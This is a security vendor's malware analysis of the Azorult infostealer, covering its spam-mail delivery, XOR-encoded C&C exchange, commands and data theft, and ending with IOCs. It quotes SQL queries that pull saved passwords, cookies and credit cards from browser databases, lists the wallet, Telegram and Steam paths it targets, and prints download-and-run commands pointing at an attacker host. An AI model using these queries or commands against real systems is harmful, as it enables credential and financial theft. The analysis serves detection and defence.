# Infostealer Malware Azorult Being Distributed Through Spam Mails **asec.ahnlab.com/en/26517/** August 18, 2021 The ASEC analysis team recently discovered that Azorult malware is being distributed through spam mails. Azorult is a kind of Infostealer that accesses a C&C server to receive DLL files and commands used to leak information, and steals information such as user data files and account information to leak it to the server. Besides account information of web browsers and email clients, screenshots, cryptocurrency information, and files designated by the attacker with certain paths and extensions can be collected as well. Because downloaded commands support a feature to download additional malware, Azorult can also act as a downloader. Once all these processes are done, it deletes itself after leaking information and acting as a downloader, which makes it different from other types of malware. It does not support methods of operation after reboot such as registering a Run key. This means that the malware is deleted after simply leaking information instead of performing additional behaviors by receiving commands from the attacker while staying hidden. Of course, since it can download additional malware, it can act as a medium for other types of malware. ----- Figure 1. Azorult distributed through spam mails As shown in Figure 1, Azorult is mainly distributed through attached files of spam mails. Since AhnLab once received a compressed file named “Estimate Request_Construction Floor Plan.7z,” we can find out that Korean users are also targets for the attack. ## 1. Reset Azorult creates a mutex when it is executed. The string used is created with the following process. First, the malware seeks the privilege of the current process. The attached file is usually doubleclicked, so it is executed as a child process of explorer.exe and belongs to a user group. If it is run with an administrator privilege, it belongs to an Administration group. It might be even run with a system privilege in some cases. It returns S, A, U, and G for each function shown below. Figure 2. Obtaining privilege information Also, for MachineGuid, ProductName, UserName, and ComputerName as well as strings added with the previously mentioned 4 strings, the malware uses a different algorithm for each string to create a string as shown below. The function is continuously used later in moments such as sending packets. [Machine Guid-based]-[Product Name-based]-[User Name-based]–[Computer Name-based]-[4 Strings-based] Ex) 112xxx26-86C3DFC7-8EBxxx77-DBxxxA24-C539B8C2 ----- Figure 3. Creating unique string The string that means the privilege found before (one of the characters S|A|U|G) plus the unique string shown above is the string used for creating a mutex. The malware then decodes the encrypted C&C server URL. Lastly, it finds the data to be sent when requesting the C&C server. This data combines the 0x0355AE data which is the 3-byte XOR key and the unique string created from before that is URL-encoded. Before requesting the C&C server, Azorult sends the data encoded with the key to the server. XOR key is also sent because the C&C server needs to decode what it has received. Or it might also be that the key is sent to allow the server to encode the data it will send. Figure 4. Encoded unique string used when requesting POST to C&C server ## 2. Downloading Commands and DLL Files 2.1. Decoding The malware for the current analysis target received about 4,369KB of encoded data (0x444340) from the C&C server. The data includes commands from the C&C server, multiple DLL files to be used for leaking information, and the string data that the malware will use. ----- Figure 5. Encoded data received from C&C server The encoding method is XOR, with 3 bytes XOR used for requesting C&C and additional 4 bytes XOR decoding used. As you can see below, the first 0x80000 size of the initially encoded data is decoded with the hard-coded key value of 0x0355AE. This process is the same as the one previously processed for requesting the C&C server. As such, the entire C&C command located at the very front (existing in between tags and ), as well as some parts of the DLL data, is decrypted. The decrypted result is the string encoded with the Base64 encryption. Figure 6. XOR decoding process Next, the DLL data which was partially decoded (0x80000 starting from the tag ) and the DLL data that was not decoded (up to the tag ) are decoded with the 4 bytes XOR key. The key used in this process is 0xC8653001. Lastly, there is the string data in between tags and . It is not XOR decoded like the C&C command and exists as the Base64 encoded string form. ----- Figure 7. Decoded C&C command – existing in Base64 string form in between tags and 2.2. Decoded data **a. Command** The command of the C&C server exists in between tags and . The XOR decoding result shows a string encoded with Base64. Decoding this command with Base64 shows the following commands. The current analysis target Azorult 6a4824ab00e63c2f1bbf29a24d78b2a4 receives a short command as you can see above, but another type of Azorult (c0e0a9d259bbf9faab7fd5049bf6b662) receives a command as shown below. ----- Azorult 1 ] – MD5: 6a4824ab00e63c2f1bbf29a24d78b2a4 – C&C Server URL: http://ciuj[.]ir/masab/index.php Azorult 2 ] – MD5: c0e0a9d259bbf9faab7fd5049bf6b662 – C&C Server URL: http://jamesrlongacre[.]ug/index.php The 10 combinations of + and – in the first string are lists of flags that determine the enable status of various information leaking features existing in Azorult. + means enabled, while – means disabled. The flags will be discussed in detail in the information leak part. Next, the lines starting with F, I, and L mean each command. The F command can designate target paths and extensions to additionally leak user data. The I command can lookup a user’s IP address. Finally, the L command acts as a downloader, downloading additional malware. Each command will be discussed in detail in the C&C command part. **b. DLL files with the information leak feature** DLL files were included in between tags and and encoded with the XOR key. The files decoded with the XOR process mentioned above exist in the form [DLL name]:[DLL binary] [DLL name]…. Let’s look at the example below. The DLL existing after the DLL separator “|||<[{99C3}]>|||” has the name of “api-ms-win-core-datetime-l1-1-0.dll.” After “:” comes the actual DLL binary. Figure 8. Decoded DLL data – Separator, DLL name, and DLL binary ----- There are 48 decoded DLL files existing in the form shown above, which are dropped in the path \AppData\Temp\[Unique]\. These files are loaded before leaking information and then used. See below for the list. api-ms-win-core-console-l1-1-0.dll api-ms-win-core-datetime-l1-1-0.dll api-ms-win-core-debug-l1-1-0.dll api-ms-win-core-errorhandling-l1-1-0.dll api-ms-win-core-file-l1-1-0.dll api-ms-win-core-file-l1-2-0.dll api-ms-win-core-file-l2-1-0.dll api-ms-win-core-handle-l1-1-0.dll api-ms-win-core-heap-l1-1-0.dll api-ms-win-core-interlocked-l1-1-0.dll api-ms-win-core-libraryloader-l1-1-0.dll api-ms-win-core-localization-l1-2-0.dll api-ms-win-core-memory-l1-1-0.dll api-ms-win-core-namedpipe-l1-1-0.dll api-ms-win-core-processenvironment-l1-1-0.dll api-ms-win-core-processthreads-l1-1-0.dll api-ms-win-core-processthreads-l1-1-1.dll api-ms-win-core-profile-l1-1-0.dll api-ms-win-core-rtlsupport-l1-1-0.dll api-ms-win-core-string-l1-1-0.dll api-ms-win-core-synch-l1-1-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-core-sysinfo-l1-1-0.dll api-ms-win-core-timezone-l1-1-0.dll api-ms-win-core-util-l1-1-0.dll api-ms-win-crt-conio-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll api-ms-win-crt-environment-l1-1-0.dll api-ms-win-crt-filesystem-l1-1-0.dll api-ms-win-crt-heap-l1-1-0.dll api-ms-win-crt-locale-l1-1-0.dll api-ms-win-crt-math-l1-1-0.dll api-ms-win-crt-multibyte-l1-1-0.dll api-ms-win-crt-private-l1-1-0.dll api-ms-win-crt-process-l1-1-0.dll api-ms-win-crt-runtime-l1-1-0.dll api-ms-win-crt-stdio-l1-1-0.dll api-ms-win-crt-string-l1-1-0.dll api-ms-win-crt-time-l1-1-0.dll api-ms-win-crt-utility-l1-1-0.dll freebl3.dll mozglue.dll msvcp140.dll nss3.dll nssdbm3.dll softokn3.dll ucrtbase.dll vcruntime140.dll ----- **c. String data** For programs to perform certain features, they need data like strings and codes. The same goes for malware. If there are strings in the data area of the malware without any modification, it becomes easier to figure out its features. So most types of malware have their strings encoded and use them after they are decoded during the execution process. Azorult is unique in that it does not have most of its strings used in its malicious behaviors in the binary but receives them from the C&C server: strings that are targets for information leak such as “GoogleChrome” and “firefox,” API strings used for leaking information such as “sqlite3_open” and “sqlite3_prepare_v2,” and SQL queries. The string data is not encoded with the XOR key and exists as the Base64 string in between tags and . If you decode the Base64 string, you can see 208 strings as shown below. Figure 9. String data encoded with Base64 and existing in between tags and Figure 10. Decoded string data ## 3. Stealing Information ----- Azorult decodes DLL files used to leak information. It then drops and loads them, seeking the API URLs that will be used for the leak. Afterward, it steals information following flags related to information leakage received from the C&C server as you can see below. There are 10 flags in total. Each enables or disables a certain feature. Flag: ++++++++-+ **Order** **Features** 0 Unconfirmed 1 Information of various application accounts 2 Web browser Cookie and AutoComplete 3 Coin 4 Skype History 5 Telegram 6 Steam 7 Screenshots 8 Auto-delete 9 Web browser History Table 1. Flags for enabling information leakage feature The files are saved as a compressed file of the ZIP format in the memory. It is not dropped as a file and exists only in the memory. Yet upon extracting the .zip from the memory before it is sent to the C&C server, you can find the following list of collected information. \ …. \Browsers\ …….. \Browsers\Cookies\ …….. \Browsers\AutoComplete …….. \Browsers\History\ …. \Skype\ …. \Telegram\ …. \Steam\ …….. \Steam\Config\ …. \Files\ …….. \Files\User designated directory\Data to be leaked …. PasswordsList.txt …. CookieList.txt …. Scr.jpg …. ip.txt …. System.txt ----- Figure 11. Zip file containing stolen user information 3.1. ACCOUNT INFORMATION – zip file save path: \PasswordsList.txt Azorult steals account information from various programs. The following list shows programs that are targeted. Note that properties discussed in web browser parts such as Cookie and History are the same for Chromium-based and Mozilla-based web browsers shown below. **a. Web Browser** – Targeted programs: Internet Explorer, Vault (including the latest version of IE and past versions of Edge), Chromium-based web browsers (GoogleChrome, GoogleChrome64, InternetMailRu, YandexBrowser, ComodoDragon, Amigo, Orbitum, Bromium, Chromium, Nichrome, RockMelt, 360Browser, Vivaldi, Opera, GoBrowser, Sputnik, Kometa, Uran, QIPSurf, Epic, Brave, CocCoc, CentBrowser, 7Star, ElementsBrowser, TorBro, Suhba, SaferBrowser, Mustang, Superbird, Chedot, and Torch), and Mozilla-based web browsers (MozillaFireFox, Waterfox, IceDragon, Cyberfox, and PaleMoon) In past versions of Internet Explorer (7 and 8), the AutoComplete password was saved in the registry HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2. The key’s values are the hash values of website URLs that correspond to account information, with the data of the value being the account information. The data is encoded using DPAI. To decode it, one must know what website is matched to the key. To know the information, Azorult uses the CUrlHistory COM object as shown below to know the History of IE. – CUrlHistory CLSID: 3C374A40-BAE4-11CF-BF7D-00AA006946EE – IUrlHistoryStg2 IID: AFA0DC11-C313-11d0-831A-00C04FD5AE38 ----- Figure 12. Routine for knowing History of IE It obtains the user account information saved in IE with the method of using URLs found in IE History to know the values saved in \IntelliForms\Storage2 with the CryptUnprotectData() API. It then steals account information of the Edge web browser saved in Windows Vault. Figure 13. Routine for stealing account information of Windows Vault Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts the account information from the \AppData\Local\Google\Chrome\User Data\Default\Login Data file with the following SQL query. - SELECT origin_url, username_value, password_value FROM logins Figure 14. Routine for stealing account information of Chromium ----- Let s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware reads the logins.json file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.defaultrelease. The file is a text format, parsing strings for items such as hostname, encryptedUsername, and encryptedPassword. encryptedUsername and encryptedPassword are strings encoded with Base64. As for their decoded results, they can be decrypted with functions of nss3.dll such as PK11_GetInternalKeySlot(), PK11_Authenticate(), and PK11SDR_Decrypt() to know the original account information. **b. Email Client** – Targeted programs: Outlook and Thunderbird As Thunderbird is Mozilla-based, the same method mentioned for Firefox above is used. For Outlook, the malware extracts values such as EMAIL, POP3, IMAP, SMTP, and HTTP from registry keys shown below. Figure 15. Routine for stealing account information of Outlook **c. Others** – targeted instant message programs: Psi+ and Pidgn – targeted FTP client programs: FileZilla and WinSCP Figure 16. Routine for stealing account information of WinSCP 3.2. Web Browser Cookie – zip file save path: \CookieList txt and \Browsers\Cookies\[file that will be leaked] txt ----- If flags for Cookie and AutoFill are enabled, the malware steals Cookie files of IE, Edge, Chromiumbased web browsers, and Mozilla-based web browsers. For IE and Edge, it steals *.txt files and *.cookie files from the following paths. \AppData\Roaming\Microsoft\Windows\Cookies\ \AppData\Roaming\Microsoft\Windows\Cookies\Low\ \AppData\Local\Microsoft\Windows\INetCache\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!001\MicrosoftEdge\Cookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!002\MicrosoftEdge\Cookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\ Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Cookies file with one of the following 2 SQL queries. - SELECT host_key, name, encrypted_value, value, path, secure, (expires_utc/1000000)-11644473600 FROM cookies - SELECT host_key, name, name, value, path, secure, expires_utc FROM cookies Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the cookies.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. - SELECT host, path, isSecure, expiry, name, value FROM moz_cookies 3.3. Web Browser AutoComplete – zip file save path: \Browsers\AutoComplete\[file that will be leaked].txt If flags for Cookie and AutoFill are enabled, the malware steals AutoFill records of Chromium-based and Mozilla-based web browsers. Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Web Data file with the following SQL query. - SELECT name, value FROM autofill In Chromium-based web browsers, CreditCard information also becomes a target to be stolen. Following the same process, the malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Web Data file with the following SQL query. - SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted value FROM credit_cards Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the formhistory.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. - SELECT fieldname, value FROM moz_formhistory ----- 3.4. Web Browser History – zip file save path: \Browsers\History\[file that will be leaked].txt If the flag for History is enabled, the malware steals History records of Chromium-based and Mozillabased web browsers. Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\History file with the following SQL query. - SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\”unixepoch\”), urls.title, urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000 Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the places.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. - SELECT DATETIME(moz_historyvisits.visit_date/1000000, \”unixepoch\”, \”localtime\”),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000 Figure 17. Routine for stealing information of Firefox History 3.5. Coin Wallet zip file save path: \Coins\autoscan\ and \Coins\Monero\ If the flag for Coin is enabled, the malware steals wallet files for various types of cryptocurrency. First, files saved in the \Coins\autoscan\ folder are those that fit the following conditions as the malware lookups paths within the \AppData\Roaming\ folder. – “.wallet,” “wallets\.wallet,” “wallet.dat,” “wallets\wallet.dat,” “electrum.dat,” and “wallets\electrum.dat” Next, files saved in the \Coins\Monero\ folder are those that have their paths known by the malware referencing the wallet_path data of the HKCU\Software\monero-project\monero-core key, those that have .address.txt name added to the previous files and those that have .keys added to their names. Afterward, the malware also steals wallet.dat files and \wallets\wallet.dat files from the paths known by referencing the strDataDir data from the following registry keys. ----- HKCU\Software\Bitcoin\Bitcoin-Qt HKCU\Software\BitcoinGold\BitcoinGold-Qt HKCU\Software\BitCore\BitCore-Qt HKCU\Software\Liteoin\Litecoin-Qt HKCU\Software\BitcoinABC\BitcoinABC-Qt Lastly, it steals the following cryptocurrency wallet files existing in paths of \AppData\Roaming\ such as \AppData\Roaming\Electrum\wallets\. – Electrum, Electrum-LTC, ElectrumG, Electrum-btcp, Ethereum, Exodus, Exodus Eden, Jaxx, and MultiBitHD 3.6. Skype – zip file save path: \Skype\ If the Skype flag is enabled, the malware steals the main.db file from the \AppData\Roaming\Skype\ path. When users use Skype, the logs are saved in the main.db file. Certain tools can be used to restore the Skype record with the file. This means that when the attacker steals the file, Skype-related information such as Skype chat history can be leaked. Figure 18. Routine for stealing Skype’s main.db file 3.7. Telegram – zip file save path: \Telegram\ If the Telegram flag is enabled, the malware steals files starting with “D877F783D5” and “map” existing in the \AppData\Roaming\Telegram Desktop\tdata\ path. These files are settings files related to sessions existing in the Telegram PC version and can be exploited by the attacker for stealing sessions. ----- Figure 19. Routine for stealing Telegram’s session data file 3.8. Steam – zip file save path: \Steam\Config\[*.vdf], \Steam\[ssfn*] If the Steam flag is enabled, the malware obtains the Steam path by referencing the SteamPath value of the HKCU\Software\Valve\Steam key and steals “ssfn*” files existing in the path and “*.vdf” files existing in the internal Config folder. These files have the information of sessions and settings of the Steam client. The attacker can exploit these files to access a user’s Steam account. Figure 20. Routine for stealing information of Steam session information 3.9. Screenshots – zip file save path: \scr.jpg If the screenshot flag is enabled, the malware takes a screenshot of the current screen and saves it in the compressed file with the name scr.jpg. 3.10. System Info – zip file save path: \System.txt Azorult obtains various types of system info and leaks them regardless of C&C commands by default. The following shows the types of information that are leaked. MachineID, Malware path, Windows version, Computer name, Resolution, Language, Time, Time Zone, CPU model, Number of CPUs, RAM size, Video card information, List of currently running processes, and List of installed programs ----- Figure 21. Collected System info ## 4. C&C Command 4.1. Command – F – zip file save path: \Files\[user designated path name]\[file that will be leaked].txt The F command collects files from the user PC and receives settings for the path and extensions. The following shows 2 examples among F commands received from the C&C server. The format is as follows: [ F \t \t \t \t \t \t \t ] ----- The files collected by the F command are located at the Files\ path inside the compressed file and saved in the folder with the name of the compressed file designated by the command. For instance, the first command has the data saved in the DOC TXT folder. For paths, environment variables such as %USERPROFILE% and the drive paths starting with “DSK_” are supported. By designating the route path and calling the GetDriveTypeA() function, the command can return the type of the drive path. 2 means removable storage devices such as USB, 3 means normal drives, and 5 means CDROM drives. So in the example above, %DSK_23% means that the command will target normal hard drives and USB drives to leak files. Figure 22. F command – collecting files The third part is about extensions of files that will be collected, and the fourth part is the max size of the collected files in the KB unit. Next are 2 flags +|-. The first one decides whether files within subdirectories will be collected or not, and the second one decides if shortcut files (.lnk files) will be collected or not. The keywords located at the last part are the names of folder paths that will not be collected for information leaks. 4.2. Command – L Another Azorult mentioned above received the L command as shown below. L http://jamesrlongacre[.]ug/ds2.exe – * L http://jamesrlongacre[.]ug/ds1.exe – * L http://jamesrlongacre[.]ug/rc.exe – * L http://jamesrlongacre[.]ug/ac.exe – * The L command consists of the form \t \t <+|-> \t <*|URL>. The +|- flags of the third part decide the status of the SW_HIDE flag when downloaded files are executed. If the flag is + (SW_HIDE), the files will be run with their properties hidden. For the fourth part, the 2 files all received * as the command, but they can download particular URLs. They only download additional malware if the current list of Cookies includes the keyword. As for the current command *, it downloads files regardless of Cookies. Suppose the command received the keyword “AHNLAB.” The following shows the routine of inspecting the keyword in the list of Cookies. ----- Figure 23. Routine for comparing the list of Cookies The downloaded files are saved in the name of the URL in the Temp path. If there are files with the same name, the files are downloaded in the ProgramData path instead. If the extension of the downloaded files is .exe, the command runs them using the CreateProcessW() function. If not, the files are run using the ShellExecuteExW() function. The process is repeated for each L command. Figure 24. Downloader routine 4.3. Command – l – zip file save path: \ip.txt The I command received from the current C&C server had the IP address and country code of the infected PC. In this case, the received information is simply saved as the ip.txt file. I xxx.xxx.xx7.166:KR ----- If there is no IP and country code information of the infected PC in the I command (receiving ? ), the [command obtains information by making a query to http://ip-api.com/json and parses the information](http://ip-api.com/json) to save it as the ip.txt file. Figure 25. Stealing IP information ## 5. Leaking Collected Information After obtaining all types of information, Azorult creates a packet to be sent to the C&C server as shown below. The structure of the packet is as follows. The strings attached before the zip file are all URL-encoded. The separator is the string “2C5A87CB-758C-7293-47BC-475C65D699A584C5-7DC6DC45-12A47C7DB587-F89F-78CD-96CA-FD478543C7F4” which is hard-coded in the binary. [separator][separator] [separator][separator] [separator][separator] Figure 26. Packet data before it is XOR-encoded The first size of 0x80000 is decrypted with the 3 bytes XOR key, just like how the C&C command was decrypted. The key used here is also 0x0355AE. After sending the XOR-encoded data to the server, the malware uses the L command that it received before to perform downloader behaviors. ----- Figure 27. Routine for C&C communications and downloading additional malware ## 6. Conclusion Azorult malware is distributed through spam mails. Therefore, when there is a suspicious-looking email in the inbox, users must refrain from opening the attachment files within the email. Also, V3 should be updated to the latest version so that malware infection can be prevented. **[File Detection]** – Trojan/Win32.Kryptik.C4217978 – Malware/Win32.RL_Generic.R354530 **[Behavior Detection]** – Malware/MDP.Behavior.M3108 **[IOC]** **– File** 6a4824ab00e63c2f1bbf29a24d78b2a4 c0e0a9d259bbf9faab7fd5049bf6b662 **– C&C URL** hxxp://ciuj[.]ir/masab/index.php hxxp://jamesrlongacre[.]ug/index.php [Categories:Malware Information](https://asec.ahnlab.com/en/category/malware-information/) [Tagged as:Azorult,](https://asec.ahnlab.com/en/tag/azorult-en/) [InfoStealer,](https://asec.ahnlab.com/en/tag/infostealer-en/) [SPAMMAIL](https://asec.ahnlab.com/en/tag/spammail-en/) -----